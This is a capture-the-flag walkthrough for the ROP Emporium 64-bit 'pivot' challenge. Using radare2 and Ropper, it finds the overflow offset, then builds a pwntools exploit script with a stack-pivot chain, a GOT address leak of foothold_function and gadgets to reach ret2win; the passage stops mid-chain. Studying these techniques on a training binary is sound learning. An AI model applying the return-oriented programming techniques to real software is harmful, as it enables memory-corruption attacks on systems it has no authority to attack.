Preface

The challenge description together with the ELF binaries are located at https://ropemporium.com/challenge/pivot.html. The walkthrough will focus on Radare2 for the binary analysis and debugging, so basic knowledge is assumed. You should definitely learn how to use this free open source software!

In this post, the 64-bit binary will be cracked and analysed (see the 32-bit binary walkthrough here).

The basic idea in this challenge is to pivot the stack using a ROP chain to a heap address which is given by the executable and leak the addresses of the library functions which contain the target, the ret2win() function which prints out the flag.

There are multiple strategies to attack this CTF. In the 32-bit version the library function addesses were leaked with puts() libc function and in this 64-bit walkthrough the library offsets are calculated with a ROP chain.

Prerequisites

There are a few basic computing concepts used in this walkthrough the reader should be familiar with:

  • Intel x86/x86-64 processor instruction set and architecture
  • ELF binary structure
  • Dynamic linking, relocatable code and Procedure link table and Global offset table (PLT/GOT)
  • Virtual memory
  • Stack frames
  • Return oriented programming and stack overflow
  • Stack smashing mitigation techniques such as NX, ASLR and canaries

64-bit binary

ELF analysis

The ELF binaries, pivot and libpivot.so link library, can be analyzed for basic properties with the File utility and Radare 2:

janne808@megatron:~/pwnwork/pivot$ file pivot
pivot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f52d9e2236e44e613617f122dcba82b777c4a8e6, not stripped
janne808@megatron:~/pwnwork/pivot$ file libpivot.so
libpivot.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=2b1c8744cdfa6df66695e994000456085eae2271, not stripped
janne808@megatron:~/pwnwork/pivot$ r2 -d pivot
Process with PID 4939 started...
= attach 4939 4939
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
-- Temporally drop the verbosity prefixing the commands with ':'
[0x7f24b7ac1c30]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
TODO: esil-vm not initialized
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[Cannot find section boundaries in here
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
= attach 4939 4939
[0x7f24b7ac1c30]> iI
arch     x86
binsz    11395
bintype  elf
bits     64
canary   false
class    ELF64
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    ./
static   false
stripped false
subsys   linux
va       true

Listing the functions in the main binary:

[0x7f24b7ac1c30]> afl
0x004007b8    3 26           sym._init
0x004007f0    2 16   -> 32   sym.imp.free
0x00400800    2 16   -> 48   sym.imp.puts
0x00400810    2 16   -> 48   sym.imp.printf
0x00400820    2 16   -> 48   sym.imp.memset
0x00400830    2 16   -> 48   sym.imp.__libc_start_main
0x00400840    2 16   -> 48   sym.imp.fgets
0x00400850    2 16   -> 48   sym.imp.foothold_function
0x00400860    2 16   -> 48   sym.imp.malloc
0x00400870    2 16   -> 48   sym.imp.setvbuf
0x00400880    2 16   -> 48   sym.imp.exit
0x00400890    1 16           sub.__gmon_start___248_890
0x004008a0    1 41           entry0
0x004008d0    4 50   -> 41   sym.deregister_tm_clones
0x00400910    3 53           sym.register_tm_clones
0x00400950    3 28           sym.__do_global_dtors_aux
0x00400970    4 38   -> 35   sym.frame_dummy
0x00400996    1 165          sym.main
0x00400a3b    1 167          sym.pwnme
0x00400ae2    1 24           sym.uselessFunction
0x00400b10    4 101          sym.__libc_csu_init
0x00400b80    1 2            sym.__libc_csu_fini
0x00400b84    1 9            sym._fini

Disassembly of the functions:

[0x7f24b7ac1c30]> s main
[0x00400996]> pdf
            ;-- main:
	    / (fcn) sym.main 165
	    |   sym.main ();
	    |           ; var int local_10h @ rbp-0x10
	    |           ; var int local_8h @ rbp-0x8
	    |              ; DATA XREF from 0x004008bd (entry0)
	    |           0x00400996      55             push rbp
	    |           0x00400997      4889e5         mov rbp, rsp
	    |           0x0040099a      4883ec10       sub rsp, 0x10
	    |           0x0040099e      488b05db1620.  mov rax, qword [obj.stdout] ; [0x602080:8]=0
	    |           0x004009a5      b900000000     mov ecx, 0                  ; size_t size
	    |           0x004009aa      ba02000000     mov edx, 2                  ; int mode
	    |           0x004009af      be00000000     mov esi, 0                  ; char* buf
	    |           0x004009b4      4889c7         mov rdi, rax                ; FILE* stream
	    |           0x004009b7      e8b4feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
	    |           0x004009bc      488b05dd1620.  mov rax, qword [obj.stderr__GLIBC_2.2.5] ; [0x6020a0:8]=0
	    |           0x004009c3      b900000000     mov ecx, 0                  ; size_t size
	    |           0x004009c8      ba02000000     mov edx, 2                  ; int mode
	    |           0x004009cd      be00000000     mov esi, 0                  ; char* buf
	    |           0x004009d2      4889c7         mov rdi, rax                ; FILE* stream
	    |           0x004009d5      e896feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
	    |           0x004009da      bf980b4000     mov edi, str.pivot_by_ROP_Emporium ; 0x400b98 ; "pivot by ROP Emporium" ; const char * s
	    |           0x004009df      e81cfeffff     call sym.imp.puts           ; int puts(const char *s)
	    |           0x004009e4      bfae0b4000     mov edi, str.64bits_n       ; 0x400bae ; "64bits\n" ; const char * s
	    |           0x004009e9      e812feffff     call sym.imp.puts           ; int puts(const char *s)
	    |           0x004009ee      bf00000001     mov edi, 0x1000000          ; size_t size
	    |           0x004009f3      e868feffff     call sym.imp.malloc         ;  void *malloc(size_t size)
	    |           0x004009f8      488945f8       mov qword [local_8h], rax
	    |           0x004009fc      488b45f8       mov rax, qword [local_8h]
	    |           0x00400a00      480500ffff00   add rax, 0xffff00
	    |           0x00400a06      488945f0       mov qword [local_10h], rax
	    |           0x00400a0a      488b45f0       mov rax, qword [local_10h]
	    |           0x00400a0e      4889c7         mov rdi, rax
	    |           0x00400a11      e825000000     call sym.pwnme
	    |           0x00400a16      48c745f00000.  mov qword [local_10h], 0
	    |           0x00400a1e      488b45f8       mov rax, qword [local_8h]
	    |           0x00400a22      4889c7         mov rdi, rax                ; FILE* stream
	    |           0x00400a25      e8c6fdffff     call sym.imp.free           ; sym.imp.setvbuf-0x80 ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
	    |           0x00400a2a      bfb60b4000     mov edi, str._nExiting      ; 0x400bb6 ; "\nExiting" ; const char * s
	    |           0x00400a2f      e8ccfdffff     call sym.imp.puts           ; int puts(const char *s)
	    |           0x00400a34      b800000000     mov eax, 0
	    |           0x00400a39      c9             leave
	    \           0x00400a3a      c3             ret
[0x00400996]> s sym.pwnme
[0x00400a3b]> pdf
/ (fcn) sym.pwnme 167
|   sym.pwnme ();
|           ; var int local_28h @ rbp-0x28
|           ; var int local_20h @ rbp-0x20
|              ; CALL XREF from 0x00400a11 (sym.main)
|           0x00400a3b      55             push rbp
|           0x00400a3c      4889e5         mov rbp, rsp
|           0x00400a3f      4883ec30       sub rsp, 0x30               ; '0'
|           0x00400a43      48897dd8       mov qword [local_28h], rdi
|           0x00400a47      488d45e0       lea rax, [local_20h]
|           0x00400a4b      ba20000000     mov edx, 0x20               ; 32 ; size_t n
|           0x00400a50      be00000000     mov esi, 0                  ; int c
|           0x00400a55      4889c7         mov rdi, rax                ; void *s
|           0x00400a58      e8c3fdffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|           0x00400a5d      bfc00b4000     mov edi, str.Call_ret2win___from_libpivot.so ; 0x400bc0 ; "Call ret2win() from libpivot.so" ; const char * s
|           0x00400a62      e899fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400a67      488b45d8       mov rax, qword [local_28h]
|           0x00400a6b      4889c6         mov rsi, rax
|           0x00400a6e      bfe00b4000     mov edi, str.The_Old_Gods_kindly_bestow_upon_you_a_place_to_pivot:__p_n ; 0x400be0 ; "The Old Gods kindly bestow upon you a place to pivot: %p\n" ; const char * format
|           0x00400a73      b800000000     mov eax, 0
|           0x00400a78      e893fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400a7d      bf200c4000     mov edi, str.Send_your_second_chain_now_and_it_will_land_there ; 0x400c20 ; "Send your second chain now and it will land there" ; const char * s
|           0x00400a82      e879fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400a87      bf520c4000     mov edi, 0x400c52           ; const char * format
|           0x00400a8c      b800000000     mov eax, 0
|           0x00400a91      e87afdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400a96      488b15f31520.  mov rdx, qword [obj.stdin__GLIBC_2.2.5] ; [0x602090:8]=0 ; FILE *stream
|           0x00400a9d      488b45d8       mov rax, qword [local_28h]
|           0x00400aa1      be00010000     mov esi, 0x100              ; 256 ; int size
|           0x00400aa6      4889c7         mov rdi, rax                ; char *s
|           0x00400aa9      e892fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x00400aae      bf580c4000     mov edi, str.Now_kindly_send_your_stack_smash ; 0x400c58 ; "Now kindly send your stack smash" ; const char * s
|           0x00400ab3      e848fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400ab8      bf520c4000     mov edi, 0x400c52           ; const char * format
|           0x00400abd      b800000000     mov eax, 0
|           0x00400ac2      e849fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400ac7      488b15c21520.  mov rdx, qword [obj.stdin__GLIBC_2.2.5] ; [0x602090:8]=0 ; FILE *stream
|           0x00400ace      488d45e0       lea rax, [local_20h]
|           0x00400ad2      be40000000     mov esi, 0x40               ; '@' ; 64 ; int size
|           0x00400ad7      4889c7         mov rdi, rax                ; char *s
|           0x00400ada      e861fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x00400adf      90             nop
|           0x00400ae0      c9             leave
\           0x00400ae1      c3             ret

Analysis of the libpivot.so link library:

janne808@megatron:~/pwnwork/pivot$ r2 -d libpivot.so
Process with PID 5061 started...
= attach 5061 5061
bin.baddr 0x562cd96cd000
Using 0x562cd96cd000
asm.bits 64
-- Change your fortune types with 'e cfg.fortunes.type = fun,tips,nsfw' in your ~/.radare2rc
[0x562cd96cd870]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
TODO: esil-vm not initialized
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
= attach 5061 5061
[0x562cd96cd870]> afl
0x562cd96cd000    2 56           sym.imp.__cxa_finalize
0x562cd96cd7f8    3 26           sym._init
0x562cd96cd830    2 16   -> 32   sym.imp.system
0x562cd96cd840    2 16   -> 48   sym.imp.printf
0x562cd96cd850    2 16   -> 48   sym.imp.exit
0x562cd96cd860    1 8            sub.__gmon_start___224_860
0x562cd96cd868    1 8            sub.__cxa_finalize_248_868
0x562cd96cd870    4 50   -> 44   entry0
0x562cd96cd8b0    4 66   -> 57   sym.register_tm_clones
0x562cd96cd900    5 50           sym.__do_global_dtors_aux
0x562cd96cd940    4 48   -> 42   sym.frame_dummy
0x562cd96cd970    1 24           sym.foothold_function
0x562cd96cd988    1 31           sym.void_function_01
0x562cd96cd9a7    1 31           sym.void_function_02
0x562cd96cd9c6    1 31           sym.void_function_03
0x562cd96cd9e5    1 31           sym.void_function_04
0x562cd96cda04    1 31           sym.void_function_05
0x562cd96cda23    1 31           sym.void_function_06
0x562cd96cda42    1 31           sym.void_function_07
0x562cd96cda61    1 31           sym.void_function_08
0x562cd96cda80    1 31           sym.void_function_09
0x562cd96cda9f    1 31           sym.void_function_10
0x562cd96cdabe    1 26           sym.ret2win
0x562cd96cdad8    1 9            sym._fini
[0x562cd96cd870]> s sym.foothold_function
[0x562cd96cd970]> pdf
/ (fcn) sym.foothold_function 24
|   sym.foothold_function ();
|           0x562cd96cd970      55             push rbp
|           0x562cd96cd971      4889e5         mov rbp, rsp
|           0x562cd96cd974      488d3d6d0100.  lea rdi, str.foothold_function____check_out_my_.got.plt_entry_to_gain_a_foothold_into_libpivot.so ; section..rodata ; 0x562cd96cdae8 ; "foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so" ; const char * format
|           0x562cd96cd97b      b800000000     mov eax, 0
|           0x562cd96cd980      e8bbfeffff     call sym.imp.printf     ; int printf(const char *format)
|           0x562cd96cd985      90             nop
|           0x562cd96cd986      5d             pop rbp
\           0x562cd96cd987      c3             ret
[0x562cd96cd970]> s sym.ret2win
[0x562cd96cdabe]> pdf
/ (fcn) sym.ret2win 26
|   sym.ret2win ();
|           0x562cd96cdabe      55             push rbp
|           0x562cd96cdabf      4889e5         mov rbp, rsp
|           0x562cd96cdac2      488d3d880000.  lea rdi, str._bin_cat_flag.txt ; 0x562cd96cdb51 ; "/bin/cat flag.txt" ; const char * format
|           0x562cd96cdac9      e862fdffff     call sym.imp.system     ; sym.imp.printf-0x10 ; int printf(const char *format)
|           0x562cd96cdace      bf00000000     mov edi, 0              ; int status
\           0x562cd96cdad3      e878fdffff     call sym.imp.exit       ; void exit(int status)

Essentially, the functionality is the same as the 32-bit version. The main difference being the 64-bit register set calling convention.

Running the binary:

janne808@megatron:~/pwnwork/pivot$ ./pivot
pivot by ROP Emporium
64bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7f5db3a3af10
Send your second chain now and it will land there
>
Now kindly send your stack smash
>

Exiting

To conclude the analysis, as with the 32-bit version, there are no import entries for the target function ret2win() in the Procedure link or Global offset tables (PLT/GOT). The foothold_function() is the only imported function from the target link library.

Attack strategy

The attack on the 32-bit version consisted of two stages, but attacking the 64-bit binary will be done in a single stage. The 32-bit binary can be attacked with the technique described in this walkthrough and vice versa (although the two-stage attack on the 64-bit requires special care).

First the stack will be smashed to execute a ROP chain which will pivot the stack to the heap address after which a second ROP chain will call foothold_function() to fill in the GOT with the function address. The ROP chain will then calculate the address for ret2win() using knowledge of the static link library offsets and a call to it will print the flag and exit the binary.

Overview of the attack:

  • Stack smash
  • Stack pivot
  • libpivot foothold_function() address leak
  • address offset calculation for ret2win()
  • call to ret2win()

Stack smash

As with the 32-bit version, the stack smash offset needs to be uncovered for ROP chain execution. This is done with the cyclic buffer generated by ragg2:

janne808@megatron:~/pwnwork/pivot$ ragg2 -P 600 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQAD

Radare2 supports stdin input read from a file when debugging in the following setup:

janne808@megatron:~/pwnwork/pivot$ cat ragg2.txt
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQAD
janne808@megatron:~/pwnwork/pivot$ cat profile.rr2
#!/usr/bin/rarun2

stdin=./ragg2.txt

Debugging the binary with these inputs and determining the stack smash offset (note that in the 64-bit case the return address is at the top of the stack):

janne808@megatron:~/pwnwork/pivot$ r2 -de dbg.profile=./profile.rr2 pivot
Process with PID 5965 started...
...
[0x7f1700982c30]> dc
pivot by ROP Emporium
64bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7f17003b4f10
Send your second chain now and it will land there
> Now kindly send your stack smash
> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 ret=0
[0x00400ae1]> pxq 8@rsp
0x7ffffceebf68  0x41415041414f4141                       AAOAAPAA
[0x00400ae1]> wopO 0x41415041414f4141
40
[0x00400ae1]> pxq 32@rsp
0x7ffda3a0a928  0x41415041414f4141  0x4153414152414151   AAOAAPAAQAARAASA
0x7ffda3a0a938  0x0041415541415441  0x0000000000400b10   ATAAUAA...@.....

The stack smash offset is at 40 and once again, the stack size is limited to 3 qwords or 3 RETs in the ROP chain.

The Python exploit can now be started:

from pwn import	*

# stack offset to overwrite rip
stack_offset = 40

# run target
p = process("./pivot")

# wait for debugger
pid = util.proc.pidof(p)[0]
print "The pid is: "+str(pid)
util.proc.wait_for_debugger(pid)

buffer = "A"*stack_offset + p64(0xdeadbeef)

# process interaction
p.recvuntil("Send your second chain now and it will land there")
p.sendline()

p.recvuntil("Now kindly send your stack smash")
p.sendline(buffer)

p.interactive()

Running this and attaching to the process with Radare2 to confirm stack smashing:

janne808@megatron:~/pwnwork/pivot$ r2 -d 5248
= attach 5248 5248
...
[0x7fc2bf615230]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0xdeadbeef code=1 ret=0
[0xdeadbeef]> dr~rip
rip = 0xdeadbeef
[0xdeadbeef]>

Done – stack was smashed and instruction pointer was overwritten! We can now start building the ROP chains to do our bidding.

Stack pivot

The stack space is limited to 3 RETs, meaning the pivoting must be done with 3 ROP gadgets. As on the 32-bit walkthrough, Ropper will be used to search for gadgets.

Searching for stack pivot gadgets:

janne808@megatron:~/pwnwork/pivot$ ropper --file pivot --stack-pivot
...
Gadgets
=======

0x0000000000400aca: ret 0x2015;
0x0000000000400b03: xchg eax, esp; ret;
0x0000000000400b02: xchg rax, rsp; ret;

3 gadgets found

The XCHG gadget with RAX is what will be used to rewrite the stack pointer. Next we need to POP a value into RAX:

janne808@megatron:~/pwnwork/pivot$ ropper --file pivot --search "pop rax"
...
0x0000000000400b00: pop rax; ret;

We now have what we need to pivot the stack. All that is left is to read the heap address from the process stdout.

# read heap address
heap_addr = p.recvline_contains("The Old Gods kindly bestow upon you a place to pivot:").strip().rsplit(' ', 1)[1]
heap_addr = u64(unhex(heap_addr[2:]).rjust(8, '\x00'), endian='big')
log.info("Heap address: 0x%x" % heap_addr)

Constructing the pivot ROP chain:

# gadgets
# -------
# 0x0000000000400b02: xchg rax, rsp; ret;
# 0x0000000000400b00: pop rax; ret;

xchgret = 0x000400b02
poprax = 0x000400b00

# construct ropchains
# stack pivot chain
ropchain =  p64(poprax)
ropchain += p64(heap_addr)
ropchain += p64(xchgret)

The exploit now looks like this:

from pwn import *

# stack offset to overwrite rip
stack_offset = 40

# gadgets
# -------
# 0x0000000000400b02: xchg rax, rsp; ret;
# 0x0000000000400b00: pop rax; ret;

xchgret = 0x000400b02
poprax = 0x000400b00

# run target
p = process("./pivot")

# wait for debugger
pid = util.proc.pidof(p)[0]
print "The pid is: "+str(pid)
util.proc.wait_for_debugger(pid)

# process interaction
p.recvuntil("Call ret2win() from libpivot.so")

# read heap address
heap_addr = p.recvline_contains("The Old Gods kindly bestow upon you a place to pivot:").strip().rsplit(' ', 1)[1]
heap_addr = u64(unhex(heap_addr[2:]).rjust(8, '\x00'), endian='big')
log.info("Heap address: 0x%x" % heap_addr)

# construct ropchains
# stack pivot chain
ropchain =  p64(poprax)
ropchain += p64(heap_addr)
ropchain += p64(xchgret)

buffer = "A"*stack_offset + ropchain

p.recvuntil("Send your second chain now and it will land there")
p.sendline()

p.recvuntil("Now kindly send your stack smash")
p.sendline(buffer)

p.interactive()

Running with Radare2 attached to confirm the pivot:

janne808@megatron:~/pwnwork/pivot$ python pivot64.py
[+] Starting local process './pivot': pid 6376
The pid is: 6376
[+] Waiting for debugger: Done
[*] Heap address: 0x7fa5b8d61f10
...
janne808@megatron:~$ r2 -d 6376
...
[0x7fa5b8e5a230]> dcu 0x000400b02
Continue until 0x00400b02 using 1 bpsize
hit breakpoint at: 400b02
[0x00400b02]> pd 4
            ;-- rip:
            0x00400b02      4894           xchg rax, rsp
            0x00400b04      c3             ret
            0x00400b05      488b00         mov rax, qword [rax]
            0x00400b08      c3             ret
[0x00400b02]> ds
[0x00400b02]> pd 4
            0x00400b02      4894           xchg rax, rsp
            ;-- rip:
            0x00400b04      c3             ret
            0x00400b05      488b00         mov rax, qword [rax]
            0x00400b08      c3             ret
[0x00400b02]> dr~rsp
rsp = 0x7fa5b8d61f10

Success: RSP was overwritten to the given heap address. Next up is leaking an address from the link library which contains the target function ret2win().

libpivot address leak

Even though ASLR randomizes the library memory map location, the link library has a static structure in the form of offsets to various functions, which can be exploited to calculate arbitrary addresses to unlinked functions.

Radare2 provides tools for this:

janne808@megatron:~/pwnwork/pivot$ r2 -d libpivot.so
Process with PID 6603 started...
...
[0x562fd80ed870]> aaaa
...
[0x562fd80ed870]> afl
0x562fd80ed000    2 56           sym.imp.__cxa_finalize
0x562fd80ed7f8    3 26           sym._init
0x562fd80ed830    2 16   -> 32   sym.imp.system
0x562fd80ed840    2 16   -> 48   sym.imp.printf
0x562fd80ed850    2 16   -> 48   sym.imp.exit
0x562fd80ed860    1 8            sub.__gmon_start___224_860
0x562fd80ed868    1 8            sub.__cxa_finalize_248_868
0x562fd80ed870    4 50   -> 44   entry0
0x562fd80ed8b0    4 66   -> 57   sym.register_tm_clones
0x562fd80ed900    5 50           sym.__do_global_dtors_aux
0x562fd80ed940    4 48   -> 42   sym.frame_dummy
0x562fd80ed970    1 24           sym.foothold_function
0x562fd80ed988    1 31           sym.void_function_01
0x562fd80ed9a7    1 31           sym.void_function_02
0x562fd80ed9c6    1 31           sym.void_function_03
0x562fd80ed9e5    1 31           sym.void_function_04
0x562fd80eda04    1 31           sym.void_function_05
0x562fd80eda23    1 31           sym.void_function_06
0x562fd80eda42    1 31           sym.void_function_07
0x562fd80eda61    1 31           sym.void_function_08
0x562fd80eda80    1 31           sym.void_function_09
0x562fd80eda9f    1 31           sym.void_function_10
0x562fd80edabe    1 26           sym.ret2win
0x562fd80edad8    1 9            sym._fini
[0x562fd80ed870]> ? sym.ret2win-sym.foothold_function
334 0x14e 0516 334 0000:014e 334 "N\x01" 0000000101001110 334.0 334.000000f 334.000000

Thus, if you were to add 0x14e to the foothold_function() address and call that address, you would reach ret2win() and print the target flag.

Next address we need is the foothold_function() GOT entry address:

[0x7f134d664c30]> pdf @ sym.imp.foothold_function
/ (fcn) sym.imp.foothold_function 48
|   sym.imp.foothold_function ();
|       !      ; CALL XREF from 0x00400aeb (sym.uselessFunction)
|       |   0x00400850      ff25f2172000   jmp qword reloc.foothold_function_72 ; [0x602048:8]=0x400856 ; "V\b@"
|       |   0x00400856      6806000000     push 6                      ; 6
\       `=< 0x0040085b      e980ffffff     jmp 0x4007e0                ; sym.imp.setvbuf-0x90
[0x7f134d664c30]> ir
[Relocations]
vaddr=0x00601ff8 paddr=0x00001ff8 type=SET_64 __gmon_start__
vaddr=0x00602080 paddr=0x00002080 type=SET_64
vaddr=0x00602090 paddr=0x00002090 type=SET_64
vaddr=0x006020a0 paddr=0x000020a0 type=SET_64
vaddr=0x00602018 paddr=0x00002018 type=SET_64 free
vaddr=0x00602020 paddr=0x00002020 type=SET_64 puts
vaddr=0x00602028 paddr=0x00002028 type=SET_64 printf
vaddr=0x00602030 paddr=0x00002030 type=SET_64 memset
vaddr=0x00602038 paddr=0x00002038 type=SET_64 __libc_start_main
vaddr=0x00602040 paddr=0x00002040 type=SET_64 fgets
vaddr=0x00602048 paddr=0x00002048 type=SET_64 foothold_function
vaddr=0x00602050 paddr=0x00002050 type=SET_64 malloc
vaddr=0x00602058 paddr=0x00002058 type=SET_64 setvbuf
vaddr=0x00602060 paddr=0x00002060 type=SET_64 exit

14 relocations

[0x7f134d664c30]> pd 1@0x602048
            ;-- reloc.foothold_function_72:
	       ; DATA XREF from 0x00400850 (sym.imp.foothold_function)
	    0x00602048      .qword 0x0000000000400856                    ; RELOC 64 foothold_function
				       

Picking up the offsets into the exploit:

# static elf offsets
foothold_plt = 0x00400850
foothold_got = 0x00602048
puts_plt = 0x00400800
main = 0x00400996

The ROP chain to call the foothold_function() is simply the offset to the PLT:

ropchain2 = p64(foothold_plt)

Injecting this with the first fgets() should now call and fill out the GOT. The exploit now looks like this:

from pwn import *

# stack offset to overwrite rip
stack_offset = 40

# static elf offsets
foothold_plt = 0x00400850
foothold_got = 0x00602048
puts_plt = 0x00400800
main = 0x00400996

# gadgets
# -------
# 0x0000000000400b02: xchg rax, rsp; ret;
# 0x0000000000400b00: pop rax; ret;

xchgret = 0x000400b02
poprax = 0x000400b00

# run target
p = process("./pivot")

# wait for debugger
pid = util.proc.pidof(p)[0]
print "The pid is: "+str(pid)
util.proc.wait_for_debugger(pid)

# process interaction
p.recvuntil("Call ret2win() from libpivot.so")

# read heap address
heap_addr = p.recvline_contains("The Old Gods kindly bestow upon you a place to pivot:").strip().rsplit(' ', 1)[1]
heap_addr = u64(unhex(heap_addr[2:]).rjust(8, '\x00'), endian='big')
log.info("Heap address: 0x%x" % heap_addr)

# construct ropchains
# stack pivot chain
ropchain =  p64(poprax)
ropchain += p64(heap_addr)
ropchain += p64(xchgret)

# main exploit chain in heap address
ropchain2 =  p64(foothold_plt)
ropchain2 += p64(0xdeadbeef)

buffer = "A"*stack_offset + ropchain

# send pivoted ropchain to heap address
log.info("Sending second chain to heap address...")
p.recvuntil("Send your second chain now and it will land there")
p.sendline(ropchain2)

# send pivot buffer overflow
log.info("Sending stack smash and chain to pivot to the heap address...")
p.recvuntil("Now kindly send your stack smash")
p.sendline(buffer)

p.interactive()

Running the exploit and attaching with Radare2:

janne808@megatron:~$ r2 -d 3715
...
[0x7f6a8385b230]> aaaa
...
[0x7f6a8385b230]> pd 1@0x00602048
            ;-- reloc.foothold_function_72:
               ; DATA XREF from 0x00400850 (sym.imp.foothold_function)
            0x00602048      .qword 0x0000000000400856                    ; RELOC 64 foothold_function
[0x7f6a8385b230]> pd 4@0x00400850
/ (fcn) sym.imp.foothold_function 48
|   sym.imp.foothold_function ();
|       !      ; CALL XREF from 0x00400aeb (sym.uselessFunction)
|       |   0x00400850      ff25f2172000   jmp qword reloc.foothold_function_72 ; [0x602048:8]=0x400856 ; "V\b@"
|       |   0x00400856      6806000000     push 6                      ; 6
\       `=< 0x0040085b      e980ffffff     jmp 0x4007e0                ; sym.imp.setvbuf-0x90
/ (fcn) sym.imp.malloc 48
|   sym.imp.malloc ();
|              ; CALL XREF from 0x004009f3 (sym.main)
|           0x00400860      ff25ea172000   jmp qword reloc.malloc_80   ; [0x602050:8]=0x7f6a837e8130 ; "0\x81~\x83j\x7f"
[0x7f6a8385b230]> dcu 0xdeadbeef
Continue until 0xdeadbeef using 1 bpsize
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0xdeadbeef code=1 ret=0
[0xdeadbeef]> pd 1@0x00602048
            ;-- reloc.foothold_function_72:
               ; DATA XREF from 0x00400850 (sym.imp.foothold_function)
            0x00602048      .qword 0x00007f6a83b2e970                    ; RELOC 64 foothold_function

The function gets linked and the GOT is filled with the relocatable code offset. Only thing left to do is to use the leaked address to calculate a callable address to the target function.

ret2win() address offset calculation

The full second ROP chain, which will be located in the new pivoted stack, will need to call foothold_function() so as to dynamically link the library and fill the GOT entry. Afterwards a series of gadgets need to move the GOT entry from memory into a register and add the function offset to reach the ret2win() address.

Lets use Ropper to find the gadgets:

janne808@megatron:~/pwnwork/pivot$ ropper --file pivot --search 'pop rax'
...
0x0000000000400b00: pop rax; ret;
janne808@megatron:~/pwnwork/pivot$ ropper --file pivot --search 'mov rax'
...
0x0000000000400b05: mov rax, qword ptr [rax]; ret;
janne808@megatron:~/pwnwork/pivot$ ropper --file pivot --search 'add rax'
...
0x0000000000400b09: add rax, rbp; ret;
janne808@megatron:~/pwnwork/pivot$ ropper --file pivot --search 'pop rbp'
...
0x0000000000400900: pop rbp; ret;
janne808@megatron:~/pwnwork/pivot$ ropper --file pivot --search 'call rax'
...
0x000000000040098e: call rax;

Adding the gadgets to the exploit:

# gadgets
# -------
# 0x0000000000400b02: xchg rax, rsp; ret;
# 0x0000000000400b00: pop rax; ret;
# 0x0000000000400b05: mov rax, qword ptr [rax]; ret;
# 0x0000000000400b09: add rax, rbp; ret;
# 0x000000000040098e: call rax;
# 0x0000000000400900: pop rbp; ret;

callrax = 0x00040098e
poprbp = 0x000400900
addrax = 0x000400b09
movrax = 0x000400b05
xchgret = 0x000400b02
poprax = 0x000400b00

The second ROP chain can now be constructed, as described above.

# main exploit chain in heap address
ropchain2 =  p64(foothold_plt)
ropchain2 += p64(poprax)
